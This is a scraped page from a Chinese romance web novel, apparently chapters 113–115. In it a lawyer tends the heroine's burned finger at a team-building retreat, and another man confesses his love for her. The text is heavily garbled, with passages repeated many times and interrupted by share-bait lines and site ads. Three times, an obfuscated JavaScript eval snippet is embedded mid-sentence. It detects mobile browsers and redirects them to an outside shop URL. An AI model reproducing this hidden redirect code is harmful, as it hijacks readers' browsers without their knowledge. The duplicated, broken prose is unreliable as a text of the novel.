贺淮钦拿到烫伤膏后,径直朝洗手池方向走去。 温昭宁还在冲水,段允谦在旁陪着,贺淮钦像是没看到段允谦似的,越过了他,走到温昭宁另一侧。 “手还好吗? 温昭宁没注意到贺淮钦过来,忽然听到他的声音,吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事,冲一下就好了。温昭宁说着,关掉了水龙头。 水声戛然而止,突如其来的安静,让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空,指尖湿漉漉的,滴着水珠,贺淮钦忽然扬手,握住她的手腕,将她的手拖到了他的面前。 “你……干嘛?温昭宁浑身一僵,下意识地想要挣脱。 “别动! 贺淮钦掏出一方手帕,替她把手擦干,然后拧开了烫伤膏的盖子,挤出一小段乳白色的膏体在指尖,动作轻柔地一点点将冰凉的膏体涂抹在她红肿的指腹上。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 替她冲洗手指的专注侧脸而温昭宁微微侧着头不知道低声对段允谦说着什么两人贴得很近很近。 贺淮钦按在琴弦上的力道无意识地失控发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉诧异地看向贺淮钦。 贺淮钦所有的注意力都被洗手池边的两个人攫住了。 段允谦又是他这个人真的是阴魂不散无处不在。 贺淮钦刚刚沉浸在音乐中的情绪瞬间抽离得干干净净只剩下满心的厌烦和憋闷还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?”有人喊过来。 “抱歉。”贺淮钦扯了扯嘴角弧度冰冷 他把吉他递给小贾快步走进大厅。 “边小姐给我一下医药箱。” “怎么了贺律?” “我要找一下烫伤膏。” 边雨棠还以为是他同事烫伤快速给他找到了烫伤膏。 “谢谢。” 贺淮钦拿到烫伤膏后径直朝洗手池方向走去。 温昭宁还在冲水段允谦在旁陪着贺淮钦像是没看到段允谦似的越过了他走到温昭宁另一侧。 “手还好吗?” 温昭宁没注意到贺淮钦过来忽然听到他的声音吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事冲一下就好了。”温昭宁说着关掉了水龙头。 水声戛然而止突如其来的安静让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空指尖湿漉漉的滴着水珠贺淮钦忽然扬手握住她的手腕将她的手拖到了他的面前。 “你……干嘛?”温昭宁浑身一僵下意识地想要挣脱。 “别动!” 贺淮钦掏出一方手帕替她把手擦干然后拧开了烫伤膏的盖子挤出一小段乳白色的膏体在指尖动作轻柔地一点点将冰凉的膏体涂抹在她红肿的指腹上。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 替她冲洗手指的专注侧脸而温昭宁微微侧着头不知道低声对段允谦说着什么两人贴得很近很近。 贺淮钦按在琴弦上的力道无意识地失控发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉诧异地看向贺淮钦。 贺淮钦所有的注意力都被洗手池边的两个人攫住了。 段允谦又是他这个人真的是阴魂不散无处不在。 贺淮钦刚刚沉浸在音乐中的情绪瞬间抽离得干干净净只剩下满心的厌烦和憋闷还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?”有人喊过来。 “抱歉。”贺淮钦扯了扯嘴角弧度冰冷毫无笑意“突然忘了谱子等我熟悉一下改天再给大家弹唱。小贾你来。” 他把吉他递给小贾快步走进大厅。 “边小姐给我一下医药箱。” “怎么了贺律?” “我要找一下烫伤膏。” 边雨棠还以为是他同事烫伤快速给他找到了烫伤膏。 “谢谢。” 贺淮钦拿到烫伤膏后径直朝洗手池方向走去。 温昭宁还在冲水段允谦在旁陪着贺淮钦像是没看到段允谦似的越过了他走到温昭宁另一侧。 “手还好吗?” 温昭宁没注意到贺淮钦过来忽然听到他的声音吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事冲一下就好了。”温昭宁说着关掉了水龙头。 水声戛然而止突如其来的安静让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空指尖湿漉漉的滴着水珠贺淮钦忽然扬手握住她的手腕将她的手拖到了他的面前。 “你……干嘛?”温昭宁浑身一僵下意识地想要挣脱。 “别动!” 贺淮钦掏出一方手帕 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 替她冲洗手指的专注侧脸而温昭宁微微侧着头不知道低声对段允谦说着什么两人贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134937|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很近很近。 贺淮钦按在琴弦上的力道无意识地失控发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉诧异地看向贺淮钦。 贺淮钦所有的注意力都被洗手池边的两个人攫住了。 段允谦又是他这个人真的是阴魂不散无处不在。 贺淮钦刚刚沉浸在音乐中的情绪瞬间抽离得干干净净只剩下满心的厌烦和憋闷还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?”有人喊过来。 “抱歉。”贺淮钦扯了扯嘴角弧度冰冷毫无笑意“突然忘了谱子等我熟悉一下改天再给大家弹唱。小贾你来。” 他把吉他递给小贾快步走进大厅。 “边小姐给我一下医药箱。” “怎么了贺律?” “我要找一下烫伤膏。” 边雨棠还以为是他同事烫伤快速给他找到了烫伤膏。 “谢谢。” 贺淮钦拿到烫伤膏后径直朝洗手池方向走去。 温昭宁还在冲水段允谦在旁陪着贺淮钦像是没看到段允谦似的 “手还好吗?” 温昭宁没注意到贺淮钦过来忽然听到他的声音吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事冲一下就好了。”温昭宁说着关掉了水龙头。 水声戛然而止突如其来的安静让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空指尖湿漉漉的滴着水珠贺淮钦忽然扬手握住她的手腕将她的手拖到了他的面前。 “你……干嘛?”温昭宁浑身一僵下意识地想要挣脱。 “别动!” 贺淮钦掏出一方手帕替她把手擦干然后拧开了烫伤膏的盖子挤出一小段乳白色的膏体在指尖动作轻柔地一点点将冰凉的膏体涂抹在她红肿的指腹上。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 替她冲洗手指的专注侧脸,而温昭宁,微微侧着头,不知道低声对段允谦说着什么,两人贴得很近很近。 贺淮钦按在琴弦上的力道,无意识地失控,发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉,诧异地看向贺淮钦。 贺淮钦所有的注意力,都被洗手池边的两个人攫住了。 段允谦,又是他,这个人真的是阴魂不散,无处不在。 贺淮钦刚刚沉浸在音乐中的情绪,瞬间抽离得干干净净,只剩下满心的厌烦和憋闷,还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?”有人喊过来。 “抱歉。”贺淮钦扯了扯嘴角,弧度冰冷,毫无笑意,“突然忘了谱子,等我熟悉一下,改天再给大家弹唱。小贾,你来。” 他把吉他递给小贾,快步走进大厅。 “边小姐,给我一下医药箱。” “怎么了贺律?” “我要找一下烫伤膏。” 边雨棠还以为是他同事烫伤,快速给他找到了烫伤膏。 “谢谢。” 贺淮钦拿到烫伤膏后,径直朝洗手池方向走去。 温昭宁还在冲水,段允谦在旁陪着,贺淮钦像是没看到段允谦似的,越过了他,走到温昭宁另一侧。 “手还好吗?” 温昭宁没注意到贺淮钦过来,忽然听到他的声音,吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事,冲一下就好了。”温昭宁说着,关掉了水龙头。 水声戛然而止,突如其来的安静,让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空,指尖湿漉漉的,滴着水珠,贺淮钦忽然扬手,握住她的手腕,将她的手拖到了他的面前。 “你……干嘛?”温昭宁浑身一僵,下意识地想要挣脱。 “别动!” 贺淮钦掏出一方手帕,替她把手擦干,然后拧开了烫伤膏的盖子,挤出一小段乳白色的膏体在指尖,动作轻柔地一点点将冰凉的膏体涂抹在她红肿的指腹上。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 替她冲洗手指的专注侧脸,而温昭宁,微微侧着头,不知道低声对段允谦说着什么,两人贴得很近很近。 贺淮钦按在琴弦上的力道,无意识地失控,发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉,诧异地看向贺淮钦。 贺淮钦所有的注意力,都被洗手池边的两个人攫住了。 段允谦,又是他,这个人真的是阴魂不散,无处不在。 贺淮钦刚刚沉浸在音乐中的情绪,瞬间抽离得干干净净,只剩下满心的厌烦和憋闷,还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?有人喊过来。 “抱歉。贺淮钦扯了扯嘴角,弧度冰冷,毫无笑意,“突然忘了谱子,等我熟悉一下,改天再给大家弹唱。小贾,你来。 他把吉他递给小贾,快步走进大厅。 “边小姐,给我一下医药箱。 “怎么了贺律? “我要找一下烫伤膏。 边雨棠还以为是他同事烫伤,快速给他找到了烫伤膏。 “谢谢。 贺淮钦拿到烫伤膏后,径直朝洗手池方向走去。 温昭宁还在冲水,段允谦在旁陪着,贺淮钦像是没看到段允谦似的,越过了他,走到温昭宁另一侧。 “手还好吗? 温昭宁没注意到贺淮钦过来,忽然听到他的声音,吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事,冲一下就好了。温昭宁说着,关掉了水龙头。 水声戛然而止,突如其来的安静,让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空,指尖湿漉漉的,滴着水珠,贺淮钦忽然扬手,握住她的手腕,将她的手拖到了他的面前。 “你……干嘛?温昭宁浑身一僵,下意识地想要挣脱。 “别动! 贺淮钦掏出一方手帕,替她把手擦干,然后拧开了烫伤膏的盖子,挤出一小段乳白色的膏体在指尖,动作轻柔地一点点将冰凉的膏体涂抹在她红肿的指腹上。 你的朋友正在书荒,快去帮帮他吧 第114章 这里,没你的事了 温昭宁整个人都被他强大的气场定住了。 她低头,看着那双刚刚弹奏出慵懒旋律的手,此刻,正一点一点拨弄她的心弦。 他到底想干什么? 终于,药膏涂抹均匀,贺淮钦松开了她的手腕,他将烫伤膏的盖子拧好,随手塞进她另一空着的手里。 “睡前再涂一次。”他交代。 温昭宁点了点头:“谢谢。” “不客气。” 贺淮钦做完这些事,终于抬眼,目光落在了一旁的段允谦身上,那眼神很淡,没有什么明显的敌意,却带着一种划清界限的疏离,仿佛在说:这里,没你的事了。 段允谦对这个半路杀出来的程咬金有点无语,也一眼就看懂了贺淮钦的意思,但他站着没动。 三个人之间涌动着一种尴尬的气流。 “昭宁姐!烧烤调料你放哪里了?”鹿鹿朝这边喊过来。 “我来拿!” 温昭宁趁势赶紧跑开了。 烧烤派对一直持续到晚上,烧烤架上滋滋地烤着各种肉串、时蔬,空气里弥漫着诱人的焦香。 律师们围在烤炉旁,举着啤酒、饮料,三三两两地聊天说笑,山里的夜风带着凉意,但被炭火、灯光和热闹的人气一冲,反倒添了几分畅快。 大家吃得差不多的时候,贺淮钦去仓库里把他之前买的烟花搬了出来。 “哇,贺律,你还准备了烟花,你也太有心了!”有人感叹。 贺淮钦往温昭宁站立的方向看了一眼,说:“不是特地为这次团建准备的,是之前买多了。” “之前?” 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 众人发出“喔——”的一声。 温昭宁的脸瞬间热了起来。 明明没有人知道之前放烟花的那一晚,他们两个干了什么,可在这此起彼伏的起哄声里,她还是倍感心虚。 贺淮钦看出她的羞赧,心情不错。 他将一筒大型的烟花摆放在庭院外面的空地上,用一支长长的引火线,将烟火点燃。 “咻——嘭!” 第一发礼花弹拖着明亮的尾焰冲天而起,在深蓝的天幕中轰然炸开,化作一朵流光溢彩的金色花朵,光芒瞬间照亮了整个庭院。 “好美啊!” “真的好久没有看烟花了!” “今晚太棒了!” 第一天的团建,就在欢声笑语中过去了。 小说的域名caixs.com▄(请来才 小说 看最新章节 完整章节) 等所有人都去休息后,温昭宁和边雨棠、鹿鹿她们一起收拾了一下院子。 “今天辛苦大家了,明天还有一天仗要打,你们快去休息吧。”温昭宁对边雨棠和鹿鹿说。 “那你呢?”边雨棠问。 “我再理一下明天的行程安排,核对一下食材清单。” “好,弄完早点休息。” “嗯。” 温昭宁等边雨棠和鹿鹿走后,坐到前台,核对着明天登山活动的车辆安排和向导安排,高强度接待了一天,此刻松懈下来,才感觉一阵从骨头缝里透出来的疲惫感,以及后知后觉的饥饿感。 今天烧烤的时候,她一直在忙着照顾客人,自己只垫吧了几口,现在胃里早已空空如也。 温昭宁正想着先吃个小面包对付一下,就听到脚步声从后厨传来。 她转头,看到段允谦端着一个大白瓷碗走过来,碗口氤氲着白色的热气,一股面条和煎蛋的香气随之飘散开来。 “昭宁姐,我看你晚上忙前忙后的,也没有怎么吃东西,正好厨房里还有一些鸡蛋和青菜,我给你简单地煮了一碗青菜鸡蛋面,你趁热吃。” 段允谦将碗放到温昭宁的面前。 白瓷碗里,清亮的汤底上卧着一个煎得金黄的荷包蛋,荷包蛋旁边是翠绿的几根小青菜,面条根根分明,浸润在汤汁里,看着就让人食指大动。 “这也太麻烦你了。”温昭宁有些不好意思。 难怪刚才清理院子的时候不见段允谦,原来他是去给她煮面了。 “不麻烦,顺手的事。”段允谦笑了笑,拉过旁边的一把椅子,很自然地在她斜对面坐下,“你快吃吧,凉了就不好吃了。” 温昭宁饿得顾不上客气,拿起筷子,挑起一筷子面条,吹了吹,送进口中。 “怎么样,好吃吗?”段允谦问。 “好吃。” 是真的好吃。 面条煮得软硬适中,汤底是简单的生抽和猪油调出来的咸鲜,荷包蛋火候也正好。 “那就好,我还担心不合你口味。” “合我口味的。” 段允谦坐在她的对面,也没有玩手机,就这么静静地看着她吃面。 大厅很安静,只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上,眼神里是毫不掩饰的温柔。 因为他的目光太专注,太温情脉脉,像冬日里一泓过于温暖的泉水,让温昭宁无法忽略。 她的心里“咯噔一下,抓紧了筷子,埋头吃面,可一碗面见底,段允谦的视线始终没有挪开。 温昭宁不得不抬起头,直直地与段允谦的视线对上。 段允谦的眼中,有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前,她真的从来没有想过段允谦会喜欢她。 “都吃完了。段允谦看她停下,扫了一眼她的空碗,笑着说,“看来真是饿了。 “除了饿,当然最重要的还是面好吃。温昭宁放下筷子,扯了张纸巾擦擦嘴,尽量让自己的声音保持自然,“时间不早了,你快去休息吧,我去把碗洗一下。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 她说着,捧着碗站起来,往厨房走去。 温昭宁的意思,自然是希望今天的一切都止于这碗面,可她刚走进厨房,身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了,我来洗吧。 “没事没事,你都帮我煮面了,怎么好再劳烦你洗碗,我自己来就行了。 “我来。 段允谦伸手,要去拿她手里的那个碗。 两人的手,就在水槽上方,那只白瓷碗的边缘,猝不及防地碰到一起。 段允谦的手指温热干燥,带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手,可就在她的手向后撤的瞬间,段允谦更快地向前一探,精准地一把握住了她想要逃离的手腕。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 段允谦坐在她的对面也没有玩手机就这么静静地看着她吃面。 大厅很安静只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上眼神里是毫不掩饰的温柔。 因为他的目光太专注太温情脉脉像冬日里一泓过于温暖的泉水让温昭宁无法忽略。 她的心里“咯噔”一下抓紧了筷子埋头吃面可一碗面见底段允谦的视线始终没有挪开。 温昭宁不得不抬起头直直地与段允谦的视线对上。 段允谦的眼中有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前她真的从来没有想过段允谦会喜欢她。 “都吃完了。”段允谦看她停下扫了一眼她的空碗笑着说“看来真是饿了。” “除了饿当然最重要的还是面好吃。”温昭宁放下筷子扯了张纸巾擦擦嘴尽量让自己的声音保持自然“时间不早了你快去休息吧我去把碗洗一下。” 她说着捧着碗站起来往厨房走去。 温昭宁的意思自然是希望今天的一切都止于这碗面可她刚走进厨房身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了 “没事没事你都帮我煮面了怎么好再劳烦你洗碗我自己来就行了。” “我来。” 段允谦伸手要去拿她手里的那个碗。 两人的手就在水槽上方那只白瓷碗的边缘猝不及防地碰到一起。 段允谦的手指温热干燥带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手可就在她的手向后撤的瞬间段允谦更快地向前一探精准地一把握住了她想要逃离的手腕。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 段允谦坐在她的对面也没有玩手机就这么静静地看着她吃面。 大厅很安静只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上眼神里是毫不掩饰的温柔。 因为他的目光太专注太温情脉脉像冬日里一泓过于温暖的泉水让温昭宁无法忽略。 她的心里“咯噔”一下抓紧了筷子埋头吃面可一碗面见底段允谦的视线始终没有挪开。 温昭宁不得不抬起头直直地与段允谦的视线对上。 段允谦的眼中有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前她真的从来没有想过段允谦会喜欢她。 “都吃完了。”段允谦看她停下扫了一眼她的空碗笑着说“看来真是饿了。” “除了饿当然最重要的还是面好吃。”温昭宁放下筷子扯了张纸巾擦擦嘴尽量让自己的声音保持自然“时间不早了你快去休息吧我去把碗洗一下。” 她说着捧着碗站起来往厨房走去。 温昭宁的意思自然是希望今天的一切都止于这碗面可她刚走进厨房身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了我来洗吧。” “没事没事你都帮我煮面了怎么好再劳烦你洗碗我自己来就行了。” “我来。” 段允谦伸手 两人的手就在水槽上方那只白瓷碗的边缘猝不及防地碰到一起。 段允谦的手指温热干燥带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手可就在她的手向后撤的瞬间段允谦更快地向前一探精准地一把握住了她想要逃离的手腕。 你的朋友正在书荒,快去帮帮他吧 段允谦坐在她的对面,也没有玩手机,就这么静静地看着她吃面。 大厅很安静,只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上,眼神里是毫不掩饰的温柔。 因为他的目光太专注,太温情脉脉,像冬日里一泓过于温暖的泉水,让温昭宁无法忽略。 她的心里“咯噔”一下,抓紧了筷子,埋头吃面,可一碗面见底,段允谦的视线始终没有挪开。 温昭宁不得不抬起头,直直地与段允谦的视线对上。 段允谦的眼中,有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前,她真的从来没有想过段允谦会喜欢她。 “都吃完了。”段允谦看她停下,扫了一眼她的空碗,笑着说,“看来真是饿了。” “除了饿,当然最重要的还是面好吃。”温昭宁放下筷子,扯了张纸巾擦擦嘴,尽量让自己的声音保持自然,“时间不早了,你快去休息吧,我去把碗洗一下。” 她说着,捧着碗站起来,往厨房走去。 温昭宁的意思,自然是希望今天的一切都止于这碗面,可她刚走进厨房,身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了,我来洗吧。” “没事没事,你都帮我煮面了,怎么好再劳烦你洗碗,我自己来就行了。” “我来。” 段允谦伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142227|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,要去拿她手里的那个碗。 两人的手,就在水槽上方,那只白瓷碗的边缘,猝不及防地碰到一起。 段允谦的手指温热干燥,带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手,可就在她的手向后撤的瞬间,段允谦更快地向前一探,精准地一把握住了她想要逃离的手腕。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 段允谦坐在她的对面,也没有玩手机,就这么静静地看着她吃面。 大厅很安静,只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上,眼神里是毫不掩饰的温柔。 因为他的目光太专注,太温情脉脉,像冬日里一泓过于温暖的泉水,让温昭宁无法忽略。 她的心里“咯噔 温昭宁不得不抬起头,直直地与段允谦的视线对上。 段允谦的眼中,有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前,她真的从来没有想过段允谦会喜欢她。 “都吃完了。段允谦看她停下,扫了一眼她的空碗,笑着说,“看来真是饿了。 “除了饿,当然最重要的还是面好吃。温昭宁放下筷子,扯了张纸巾擦擦嘴,尽量让自己的声音保持自然,“时间不早了,你快去休息吧,我去把碗洗一下。 她说着,捧着碗站起来,往厨房走去。 温昭宁的意思,自然是希望今天的一切都止于这碗面,可她刚走进厨房,身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了,我来洗吧。 “没事没事,你都帮我煮面了,怎么好再劳烦你洗碗,我自己来就行了。 “我来。 段允谦伸手,要去拿她手里的那个碗。 两人的手,就在水槽上方,那只白瓷碗的边缘,猝不及防地碰到一起。 段允谦的手指温热干燥,带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手,可就在她的手向后撤的瞬间,段允谦更快地向前一探,精准地一把握住了她想要逃离的手腕。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 段允谦坐在她的对面 大厅很安静只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上眼神里是毫不掩饰的温柔。 因为他的目光太专注太温情脉脉像冬日里一泓过于温暖的泉水让温昭宁无法忽略。 她的心里“咯噔”一下抓紧了筷子埋头吃面可一碗面见底段允谦的视线始终没有挪开。 温昭宁不得不抬起头直直地与段允谦的视线对上。 段允谦的眼中有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前她真的从来没有想过段允谦会喜欢她。 “都吃完了。”段允谦看她停下扫了一眼她的空碗笑着说“看来真是饿了。” “除了饿当然最重要的还是面好吃。”温昭宁放下筷子扯了张纸巾擦擦嘴尽量让自己的声音保持自然“时间不早了你快去休息吧我去把碗洗一下。” 她说着捧着碗站起来往厨房走去。 温昭宁的意思自然是希望今天的一切都止于这碗面可她刚走进厨房身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了我来洗吧。” “没事没事你都帮我煮面了怎么好再劳烦你洗碗我自己来就行了。” “我来。” 段允谦伸手要去拿她手里的那个碗。 两人的手就在水槽上方那只白瓷碗的边缘猝不及防地碰到一起。 段允谦的手指温热干燥带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手可就在她的手向后撤的瞬间段允谦更快地向前一探精准地一把握住了她想要逃离的手腕。 你的朋友正在书荒,快去帮帮他吧 段允谦坐在她的对面也没有玩手机就这么静静地看着她吃面。 大厅很安静只有她细微进食的声音和窗外偶尔掠过的风声。 段允谦的目光落在她因为热气熏蒸而泛起淡淡红晕的脸颊上眼神里是毫不掩饰的温柔。 因为他的目光太专注太温情脉脉像冬日里一泓过于温暖的泉水让温昭宁无法忽略。 她的心里“咯噔”一下抓紧了筷子埋头吃面可一碗面见底段允谦的视线始终没有挪开。 温昭宁不得不抬起头直直地与段允谦的视线对上。 段允谦的眼中有超越界限的温柔和让人无法忽视的情意。 那绝对不是普通朋友或者弟弟该有的眼神。 温昭宁的心里泛起一丝细微的不安和窘迫。 在今天之前她真的从来没有想过段允谦会喜欢她。 “都吃完了。”段允谦看她停下扫了一眼她的空碗 “除了饿当然最重要的还是面好吃。”温昭宁放下筷子扯了张纸巾擦擦嘴尽量让自己的声音保持自然“时间不早了你快去休息吧我去把碗洗一下。” 她说着捧着碗站起来往厨房走去。 温昭宁的意思自然是希望今天的一切都止于这碗面可她刚走进厨房身后就传来了轻微的脚步声。 段允谦跟了进来。 “你的手烫伤了我来洗吧。” “没事没事你都帮我煮面了怎么好再劳烦你洗碗我自己来就行了。” “我来。” 段允谦伸手要去拿她手里的那个碗。 两人的手就在水槽上方那只白瓷碗的边缘猝不及防地碰到一起。 段允谦的手指温热干燥带着男性特有的力度。 温昭宁几乎是条件反射般地想要抽回自己的手可就在她的手向后撤的瞬间段允谦更快地向前一探精准地一把握住了她想要逃离的手腕。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第115章 我爱你,温昭宁 段允谦的掌心带着一种不容挣脱的却又小心翼翼的力道。 时间仿佛在这一刻凝固了。 “你……” “你看出来了,是不是?”段允谦声音不高,却字字清晰。 温昭宁的睫毛颤动了一下,嘴唇抿得更紧,她想否认,想装作不懂,可在他如此直白而赤诚的目光下,任何伪装都显得徒劳且残忍。 “允谦……” “温昭宁,我喜欢你,不,不只是喜欢,是爱。”段允谦握紧了她的手腕,向她微微倾身,拉近了两人之间本就所剩无几的距离,他目光灼灼地望着她,语气是前所未有的郑重,“从很久以前,从你出现在医院救了我的命的那一天,我就爱上你了。” 段允谦说到那段改变他命运的回忆,整个人仿佛又被拉回了三年前医院那间充满消毒水味和死亡阴影的病房。 “你不知道……”他的声音带着梦呓般的恍惚,“躺在医院的那些天,我身上**满了管子,耳边只有仪器单调的嘀嘀声,每一次呼吸都牵扯着剧痛……我甚至能感觉到生命正一点一点从我的身体里流逝……我听到我妈在外面哭,她到处打电话借钱为我筹手术费,可没有一个人愿意借给她……我也听到医生委婉地暗示她再不手术,我就没有希望了……” 段允谦的喉结剧烈地滚动了一下,眼中清晰地浮现出当年的恐惧与绝望。 那时候,他真的以为自己要**,可他才二十岁出头,人生还没有真正开始,就要画上句号。 他毫不甘心,却又无能为力。 就当他在生与死的边缘苦苦挣扎的时候,温昭宁出现了。 段允谦永远记得那天下午,阳光很好,从病房的高窗斜射进来,在地板上投下明亮的光斑,他迷迷糊糊地听到门开了,有很轻的脚步声进来,他以为是护士或者是来催缴费的人,可当他睁开眼睛,就看到温昭宁站在他的床边。 那天温昭宁穿着一条白色的连衣裙,头发用皮筋松松地绾着,阳光正好落在她的身上,给她整个人都镀上了一层柔和的金边。 她低头看着他,眼神里有同情,有怜悯,有难过。 段允谦听到温昭宁对他的母亲说:“段姨,你别担心,手术费我来出,允谦一定会没事的。” 允谦。 那是他第一次听她喊他的名字,后面跟着的是“一定会没事的”这样让人信念感十足的话。 那一刻,段允谦觉得自己好像看到了神女,不,她比神女更真实,更美丽。 温昭宁就像是一道劈开了黑暗,突然照进他生命最深处的光,她是他的救赎,是他在鬼门关前徘徊时,伸出手将他拉回人间的那个人。 爱上她,简直和呼吸一样简单。 她的样子,她站在阳光里的身影,她低头看向他时那个悲悯的眼神……像烙印一样,深深地刻在了段允谦的脑子里,支撑他度过了最艰难的手术。 段允谦手术后醒来的第一件事情,就是询问母亲,救他的那个女人是谁? 母亲说,那是她的雇主。 段允谦这才知道,温昭宁是陆市长家的儿媳,她已经结婚生女。 可即便知道他们不可能,这么多年,段允谦也始终没能将温昭宁忘记,他每次和母亲通电话,都要装作不经意地问起温昭宁的消息,直到有一天,母亲告诉他,温昭宁离婚了,他立刻想方设法将自己刚刚在京市稳定下来的工作,调回了沪城,只为离她更近。 “昭宁姐,我喊你姐,并不是真的想当你的弟弟,而是希望能有一个合理的身份,能站在你身边,能让你看到我。”段允谦说到动情处,忽然伸手抱住了温昭宁,像是用尽了所有勇气般向她告白,“我爱你,温昭宁,从你救下我的那一刻起,我的命,我的心,就都是你的了。给我一个机会好吗?我会把这份救命之恩,用我的一辈子来还,用我全部的爱来还。” 段允谦像是用尽了所有的勇气,声音颤抖,却带着磐石般的决心。 温昭宁彻底僵在了原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145810|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 他的表白深情、炽热,可这份过于沉重,甚至将她神化的爱意,却让她倍感压力和惶恐。 